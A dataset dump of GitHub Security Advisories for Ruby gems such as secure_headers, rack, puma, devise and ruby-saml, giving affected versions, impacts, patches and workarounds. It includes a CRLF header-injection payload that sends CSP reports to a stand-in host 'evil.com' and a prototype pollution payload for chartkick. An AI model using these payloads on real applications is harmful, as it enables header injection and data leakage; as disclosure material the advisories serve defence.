deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-w978-rmpf-qmwg
Package: secure_headers (RUBYGEMS)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Vulnerable versions: >= 6.0.0, < 6.3.0
Patched in: 6.3.0

Summary: Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Details:
### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```

would result in 

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter
GitHub Security Advisory: GHSA-xq52-rv6w-397c
Package: secure_headers (RUBYGEMS)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Vulnerable versions: < 3.8.0
Patched in: 3.8.0

Summary: Directive injection when using dynamic overrides with user input

Details:
### Impact

If user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.

This could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.

> Duplicate script-src directives detected.  All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

### Patches

Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

### Workarounds

If you are passing user input into the above methods, you could filter out the input:

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

### References

Reported in https://github.com/twitter/secure_headers/issues/418
https://www.w3.org/TR/CSP3/#parse-serialized-policy

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)
* DM @ndm on twitter
GitHub Security Advisory: GHSA-xq52-rv6w-397c
Package: secure_headers (RUBYGEMS)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Vulnerable versions: >= 5.0.0, < 5.1.0
Patched in: 5.1.0

Summary: Directive injection when using dynamic overrides with user input

Details:
### Impact

If user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.

This could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.

> Duplicate script-src directives detected.  All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

### Patches

Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

### Workarounds

If you are passing user input into the above methods, you could filter out the input:

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

### References

Reported in https://github.com/twitter/secure_headers/issues/418
https://www.w3.org/TR/CSP3/#parse-serialized-policy

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)
* DM @ndm on twitter
GitHub Security Advisory: GHSA-xq52-rv6w-397c
Package: secure_headers (RUBYGEMS)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Vulnerable versions: >= 6.0.0, < 6.2.0
Patched in: 6.2.0

Summary: Directive injection when using dynamic overrides with user input

Details:
### Impact

If user-supplied input was passed into `append/override_content_security_policy_directives`, a semicolon could be injected leading to directive injection.

This could be used to e.g. override a `script-src` directive. Duplicate directives are ignored and the first one wins. The directives in `secure_headers` are sorted alphabetically so they pretty much all come before `script-src`. A previously undefined directive would receive a value even if `SecureHeaders::OPT_OUT` was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning when this happens. This will result in innocuous browser console messages if being exploited/accidentally used. In future releases, we will raise application errors resulting in 500s.

> Duplicate script-src directives detected.  All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

### Patches

Depending on what major version you are using, the fixed versions are 6.2.0, 5.1.0, 3.8.0.

### Workarounds

If you are passing user input into the above methods, you could filter out the input:

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

### References

Reported in https://github.com/twitter/secure_headers/issues/418
https://www.w3.org/TR/CSP3/#parse-serialized-policy

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/issues/new)
* DM @ndm on twitter
GitHub Security Advisory: GHSA-hrqr-hxpp-chr3
Package: rack (RUBYGEMS)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-203: Observable Discrepancy, CWE-208: Observable Timing Discrepancy
Vulnerable versions: >= 2.0.0, < 2.0.8
Patched in: 2.0.8

Summary: Possible Information Leak / Session Hijack Vulnerability in Rack

Details:
There's a possible information leak / session hijack vulnerability in Rack. Attackers may be able to find and hijack sessions by using timing attacks targeting the session id. Session ids are usually stored and indexed in a database that uses some kind of scheme for speeding up lookups of that session id. By carefully measuring the amount of time it takes to look up a session, an attacker may be able to find a valid session id and hijack the session.

The session id itself may be generated randomly, but the way the session is indexed by the backing store does not use a secure comparison.

### Impact

The session id stored in a cookie is the same id that is used when querying the backing session storage engine.  Most storage mechanisms (for example a database) use some sort of indexing in order to speed up the lookup of that id.  By carefully timing requests and session lookup failures, an attacker may be able to perform a timing attack to determine an existing session id and hijack that session.

## Releases

The 1.6.12 and 2.0.8 releases are available at the normal locations.

### Workarounds

There are no known workarounds.

### Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

* 1-6-session-timing-attack.patch - Patch for 1.6 series
* 2-0-session-timing-attack.patch - Patch for 2.6 series

### Credits

Thanks Will Leinweber for reporting this!
GitHub Security Advisory: GHSA-hrqr-hxpp-chr3
Package: rack (RUBYGEMS)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-203: Observable Discrepancy, CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 1.6.12
Patched in: 1.6.12

Summary: Possible Information Leak / Session Hijack Vulnerability in Rack

Details:
There's a possible information leak / session hijack vulnerability in Rack. Attackers may be able to find and hijack sessions by using timing attacks targeting the session id. Session ids are usually stored and indexed in a database that uses some kind of scheme for speeding up lookups of that session id. By carefully measuring the amount of time it takes to look up a session, an attacker may be able to find a valid session id and hijack the session.

The session id itself may be generated randomly, but the way the session is indexed by the backing store does not use a secure comparison.

### Impact

The session id stored in a cookie is the same id that is used when querying the backing session storage engine.  Most storage mechanisms (for example a database) use some sort of indexing in order to speed up the lookup of that id.  By carefully timing requests and session lookup failures, an attacker may be able to perform a timing attack to determine an existing session id and hijack that session.

## Releases

The 1.6.12 and 2.0.8 releases are available at the normal locations.

### Workarounds

There are no known workarounds.

### Patches

To aid users who aren't able to upgrade immediately we have provided patches for
the two supported release series. They are in git-am format and consist of a
single changeset.

* 1-6-session-timing-attack.patch - Patch for 1.6 series
* 2-0-session-timing-attack.patch - Patch for 2.6 series

### Credits

Thanks Will Leinweber for reporting this!
GitHub Security Advisory: GHSA-q58g-455p-8vw9
Package: excon (RUBYGEMS)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), CWE-664: Improper Control of a Resource Through its Lifetime
Vulnerable versions: < 0.71.0
Patched in: 0.71.0

Summary: In RubyGem excon, interrupted Persistent Connections May Leak Response Data

Details:
### Impact
There was a race condition around persistent connections, where a connection which is interrupted (such as by a timeout) would leave data on the socket. Subsequent requests would then read this data, returning content from the previous response. The race condition window appears to be short, and it would be difficult to purposefully exploit this.

### Patches
The problem has been patched in 0.71.0, users should upgrade to this or a newer version (if one exists).

### Workarounds
Users can workaround the problem by disabling persistent connections, though this may cause performance implications.

### References
See the [patch](https://github.com/excon/excon/commit/ccb57d7a422f020dc74f1de4e8fb505ab46d8a29) for further details.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [excon/issues](https://github.com/excon/excon/issues)
* Email us at [geemus+github@gmail.com](mailto:geemus+github@gmail.com)
GitHub Security Advisory: GHSA-7xx3-m584-x994
Package: puma (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 4.0.0, < 4.3.1
Patched in: 4.3.1

Summary: A poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack

Details:
## Keepalive thread overload/DoS

### Impact

A poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack.

If more keepalive connections to Puma are opened than there are threads available, additional connections will wait permanently if the attacker sends requests frequently enough.

### Patches

This vulnerability is patched in Puma 4.3.1 and 3.12.2.

### Workarounds

Reverse proxies in front of Puma could be configured to always allow less than X keepalive connections to a Puma cluster or process, where X is the number of threads configured in Puma's thread pool.

### For more information

If you have any questions or comments about this advisory:

* Open an issue at [puma](github.com/puma/puma).
GitHub Security Advisory: GHSA-7xx3-m584-x994
Package: puma (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 3.12.2
Patched in: 3.12.2

Summary: A poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack

Details:
## Keepalive thread overload/DoS

### Impact

A poorly-behaved client could use keepalive requests to monopolize Puma's reactor and create a denial of service attack.

If more keepalive connections to Puma are opened than there are threads available, additional connections will wait permanently if the attacker sends requests frequently enough.

### Patches

This vulnerability is patched in Puma 4.3.1 and 3.12.2.

### Workarounds

Reverse proxies in front of Puma could be configured to always allow less than X keepalive connections to a Puma cluster or process, where X is the number of threads configured in Puma's thread pool.

### For more information

If you have any questions or comments about this advisory:

* Open an issue at [puma](github.com/puma/puma).
GitHub Security Advisory: GHSA-5pm8-492c-92p5
Package: chartkick (RUBYGEMS)
Severity: HIGH (CVSS 7.3)
Vulnerable versions: < 3.3.0
Patched in: 3.3.0

Summary: Prototype Pollution in chartkick

Details:
Affected versions of `@polymer/polymer` are vulnerable to prototype pollution. The package fails to prevent modification of object prototypes through chart options containing a payload such as `{"__proto__": {"polluted": true}}`. It is possible to achieve the same results if a chart loads data from a malicious server.


## Recommendation

Upgrade to version 3.2.0 or later.
GitHub Security Advisory: GHSA-pf8f-w267-mq2h
Package: rack-cors (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.0.4
Patched in: 1.0.4

Summary: The rack-cors rubygem may allow directory traveral

Details:
An issue was discovered in the rack-cors (aka Rack CORS Middleware) gem before 1.0.4 for Ruby. It allows ../ directory traversal to access private resources because resource matching does not ensure that pathnames are in a canonical format.
GitHub Security Advisory: GHSA-rwpr-83g3-96g7
Package: padrino-contrib (RUBYGEMS)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.2.0
Patched in: unpatched

Summary: Cross-site scripting in padrino-contrib

Details:
The breadcrumbs contributed module through 0.2.0 for Padrino Framework allows XSS via a caption.
GitHub Security Advisory: GHSA-fcjw-8rhj-gwwc
Package: devise (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 4.7.1
Patched in: 4.7.1

Summary: Authentication Bypass in Devise

Details:
An issue was discovered in Plataformatec Devise before 4.7.1. It confirms accounts upon receiving a request with a blank confirmation_token, if a database record has a blank value in the confirmation_token column. (However, there is no scenario within Devise itself in which such database records would exist.)
GitHub Security Advisory: GHSA-2p82-v77v-mppr
Package: airbrake-ruby (RUBYGEMS)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: = 4.2.3
Patched in: 4.2.4

Summary: Airbrake keys not being filtered

Details:
The Airbrake Ruby notifier 4.2.3 for Airbrake mishandles the blacklist_keys configuration option and consequently may disclose passwords to unauthorized actors. This is fixed in 4.2.4 (also, 4.2.2 and earlier are unaffected).
GitHub Security Advisory: GHSA-wg9m-gw3h-hg83
Package: field_test (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: = 0.3.0
Patched in: 0.3.1

Summary: field_test gem contains injection vulnerability

Details:
The field_test gem 0.3.0 for Ruby has unvalidated input. A method call that is expected to return a value from a certain set of inputs can be made to return any input, which can be dangerous depending on how applications use it. If an application treats arbitrary variants as trusted, this can lead to a variety of potential vulnerabilities like SQL injection or cross-site scripting (XSS).
GitHub Security Advisory: GHSA-x2fr-v8wf-8wwv
Package: ruby-saml (RUBYGEMS)
Severity: HIGH (CVSS 7.7)
CWE: CWE-287: Improper Authentication
Vulnerable versions: < 1.7.0
Patched in: 1.7.0

Summary: Ruby-SAML Improper Authentication vulnerability

Details:
OneLogin Ruby-SAML 1.6.0 and earlier may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.
GitHub Security Advisory: GHSA-xfhh-rx56-rxcr
Package: yard (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.9.20
Patched in: 0.9.20

Summary: Path Traversal vulnerability that affects yard

Details:
## Possible arbitrary path traversal and file access via `yard server`

### Impact

A path traversal vulnerability was discovered in YARD <= 0.9.19 when using `yard server` to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions.

Thanks to CuongMX from Viettel Cyber Security for discovering this vulnerability.

### Patches

Please upgrade to YARD v0.9.20 immediately if you are relying on yard server to host documentation in any untrusted environments.

### Workarounds

For users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via `yard server -s webrick`), as can certain rules in your webserver configuration.
GitHub Security Advisory: GHSA-g45g-g52h-39rg
Package: chartkick (RUBYGEMS)
Severity: MODERATE (CVSS 4.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.2.0
Patched in: 3.2.0

Summary: Cross-site Scripting in Chartkick

Details:
The Chartkick gem through 3.1.0 for Ruby allows XSS.
GitHub Security Advisory: GHSA-vv4c-g6q7-p3q7
Package: doorkeeper-openid_connect (RUBYGEMS)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: >= 1.4.0, < 1.5.4
Patched in: 1.5.4

Summary: Doorkeeper-openid_connect contains Open Redirect

Details:
Doorkeeper::OpenidConnect (aka the OpenID Connect extension for Doorkeeper) 1.4.x and 1.5.x before 1.5.4 has an open redirect via the redirect_uri field in an OAuth authorization request (that results in an error response) with the 'openid' scope and a prompt=none value. This allows phishing attacks against the authorization flow.
GitHub Security Advisory: GHSA-73rf-6mrf-759q
Package: devise (RUBYGEMS)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Vulnerable versions: < 4.6.0
Patched in: 4.6.0

Summary: devise Time-of-check Time-of-use Race Condition vulnerability

Details:
Devise ruby gem before 4.6.0 when the `lockable` module is used is vulnerable to a time-of-check time-of-use (TOCTOU) race condition due to `increment_failed_attempts` within the `Devise::Models::Lockable` class not being concurrency safe.
GitHub Security Advisory: GHSA-hhxm-4f85-rgr8
Package: many_versioned_gem (RUBYGEMS)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 0.2.3
Patched in: 0.2.3

Summary: High severity vulnerability that affects many_versioned_gem

Details:
### Logs password in plaintext

### Impact

Logs the password used in plaintext.  The password should masked in logs to prevent it leaking.

### Patches
Has the problem been patched? What versions should users upgrade to?

### Workarounds
none

### See also
Are there any links users can visit to find out more information?


#### Package Ecosystem
RubyGems

#### Package Name
many_versioned_gem

#### Affected Versions
< 0.2.2

#### Patches
0.2.3
GitHub Security Advisory: GHSA-q2qw-rmrh-vv42
Package: activejob (RUBYGEMS)
Severity: HIGH (CVSS 7.5)
CWE: CWE-284: Improper Access Control, CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 4.2.0, < 4.2.11
Patched in: 4.2.11

Summary: Improper Access Control in activejob

Details:
A Broken Access Control vulnerability in Active Job versions >= 4.2.0 allows an attacker to craft user input which can cause Active Job to deserialize it using GlobalId and give them access to information that they should not have.
GitHub Security Advisory: GHSA-4ww3-3rxj-8v6q
Package: actionpack (RUBYGEMS)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: >= 3.0.0, < 3.0.4
Patched in: 3.0.4

Summary: actionpack allows remote attackers to bypass intended access restrictions

Details:
`actionpack/lib/action_view/template/resolver.rb` in Ruby on Rails 3.0.x before 3.0.4, when a case-insensitive filesystem is used, does not properly implement filters associated with the list of available templates, which allows remote attackers to bypass intended access restrictions via an action name that uses an unintended case for alphabetic characters.